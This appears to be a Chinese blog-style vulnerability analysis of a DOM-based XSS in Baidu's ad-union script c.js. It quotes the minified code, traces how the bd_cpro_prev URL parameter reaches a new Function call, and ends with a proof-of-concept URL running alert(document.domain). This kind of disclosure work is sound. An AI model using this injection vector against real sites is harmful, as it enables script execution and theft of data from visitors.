二哥去看百度统计,想想能影响这么多站的只有广告联盟了。 调用了http://cpro.baidustatic.com/cpro/ui/c.js 这个文件,其中有以下一段代码:
Y && Y("union/common/logic", [], function() { return {ze: function(e) { (e = e || "") && (e = e.replace(/%u[\d|\w]{4}/g, function(e) { return encodeURIComponent(unescape(e)) })); return e },ja: function(e, f) { return e.replace(/{(.*?)}/g, function(c, e) { return f[e] || "" }) },Kd: function(e) { return (new Function("return " + e))() },vc: function(e, f) { if (e && f) { var c = e.match(RegExp("(^|&|\\?|#)" + f + "=([^&]*)(&|$)", "")); if (c) return c[2] } return o },Ke: function(e, f) { var e = e || "", f = f || "?", c = arguments.callee; c.hasOwnProperty[f] || (c[f] = {}); c = c[f]; if (c.hasOwnProperty(e)) return c[e]; var i = {}, b = e.indexOf(f), j = e.substring(b + 1).split("&"); if (-1 !== b) for (var b = 0, g = j.length; b < g; b++) { var d = j[b].split("="), a = decodeURIComponent(d[0]), d = decodeURIComponent(d[1]); i.hasOwnProperty(a) ? (i[a].constructor !== Array && (i[a] = [i[a]]), i[a].push(d)) : i[a] = d } return c[e] = i }} });
注意函数 Kd ,如果e可以控制的话可以执行任意JS。 函数本身的作用其实是处理JSON的。不要问我怎么知道,调试的时候都是泪(ㄒoㄒ) 其实来源是: http://zhan.baidu.com/s/7k7k.com 可以在线浏览。 浏览生成的代码如下: http://news.7k7k.com/gf/ ?bd_cpro_prev={"selectScale":10010,"showUrl":"http://wm.baidu.com","src":"","type":2,"title":"","isUpload":"0","imgWidth":"960","imgHeight":"60","imgUrl":"http://cpro.baidu.com/cpro/ui/preview/default_img_unit/fix/960x60.jpg","image":[10009,10007,10010,10013,10006,10015,10014],"tip":0,"linkUrl":"http://wm.baidu.com","imgTitle":"","des1":"","des2":""} 标准的JSON。 图1:
这里可以试着替换imgUrl看到效果。 图2:
看调用:
Y && Y("union/preview", ["union/common/bom", "union/common/logic", "union/common/cookie"], function(e, f, c) { function i(b) { b = decodeURIComponent(b).replace(/\\x1e/g, "&").replace(/\\x1d/g, "=").replace(/\\x1c/g, "?").replace(/\\x5c/g, "\\"); return f.Kd(b) } function b(b, g) { var d; d = g ? g.substring(g.indexOf("?")) : e.T(window) ? window.location.search.slice(1) : window.top.location.search.slice(1); var a = document.referrer, k = 0 <= b.indexOf("inlay") || "ui" === b ? "bd_cpro_prev" : "bd_cpro_fprev", h = "", i; try { i = document.cookie } catch (n) { } -1 !== d.indexOf(k) && (h = f.vc(d, k)); !h && i && -1 !== i.indexOf(k) && (h = c.ha(k)); !h && -1 !== a.indexOf(k) && (h = f.vc(a, k)); return h } return {Hb: function(c, g) { var d = window.location.href, a = parseInt(c.rsi0, 10), e = parseInt(c.rsi1, 10), h = parseInt(c.at, 10), f = t, n = b(g, d); if (n) if (n = i(n), h === l && (h = 1), 1 !== parseInt(n.type, 10) && 2 === (h & 2)) f = parseInt(n.imgWidth, 10) === parseInt(a, 10) && parseInt(n.imgHeight, 10) === parseInt(e, 10); else if (1 === parseInt(n.type, 10) && (1 === (h & 1) || 64 === (h & 64) || 32 === (h & 32))) f = m; return f ? (a = 0 <= g.indexOf("inlay") || "ui" === g ? "bd_cpro_prev" : "bd_cpro_fprev", d = b(g, d), e = c.tn, h = i(d), f = o, 0 <= g.indexOf("inlay") ? f = {serviceUrl: "http://cpro.baidu.com/cpro/ui/preview/templates/" + (1 === parseInt(h.type, 10) ? e + ".html" : 2 === parseInt(h.type, 10) ? "image.html" : 4 === parseInt(h.type, 10) ? "flash.html" : "blank_tips.html") + "?",paramString: ("" + a + "=#" + d + "&ut=" + +new Date).replace(/\.(?!swf)/g, "%252e")} : "float" === g && (h = parseInt(h.type, 10), h = "http://cpro.baidu.com/cpro/ui/preview/templates/" + (2 === h ? "float_image.html" : 4 === h ? "float_flash.html" : "blank_tips.html") + "?", d = "tn=" + e + ("&" + a + "=" + d).replace(/\./g, "%252e") + "&ut=" + +new Date, f = {serviceUrl: h,paramString: d}), f) : o }} });
看到 var d = window.location.href, n = b(g, d); 参数d为地址栏可控。 function b(b, g) {...}函数里看到了熟悉的bd_cpro_prev,记得前面说JSON处理? if (n) n = i(n)--->function i(b){...}--->f.Kd(b),也就是我们可以任意执行JS了。 以上看来bd_cpro_prev没有任何限制都可以执行js了。 http://xxx.com/?bd_cpro_prev=alert(document.domain)